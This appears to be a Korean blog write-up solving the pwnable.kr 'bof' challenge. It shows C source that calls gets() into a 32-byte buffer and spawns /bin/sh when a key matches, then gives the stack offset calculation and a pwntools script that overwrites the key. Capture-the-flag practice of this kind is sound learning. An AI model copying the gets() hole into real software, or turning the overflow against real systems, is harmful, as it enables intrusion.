#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
가장 기본적인 bof문제이다
func 인자가 0xdeadbeef이다
key 가 0xcafebabe면 풀린다. 가볍게 key를 0xcafebabe로 덮어써주자
key의 위치 ebp+0x8
스택구조 overflowme sfp ret key
overflowme와 key사이 거리를 알아야한다
0x2c + 0x8 = 52
from pwn import *
x = remote('pwnable.kr' , 9000)
x.send('a'*52)
x.send(p32(0xcafebabe))
x.interactive()
'Write-Up > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] shellshock 풀이 (0) | 2021.03.21 |
---|---|
[pwnable.kr] leg 풀이 (0) | 2021.03.20 |
[pwnable.kr] flag 풀이 (0) | 2021.03.19 |
[pwnable.kr] collision 풀이 (0) | 2021.03.19 |
[pwnable.kr] fd 풀이 (0) | 2021.03.17 |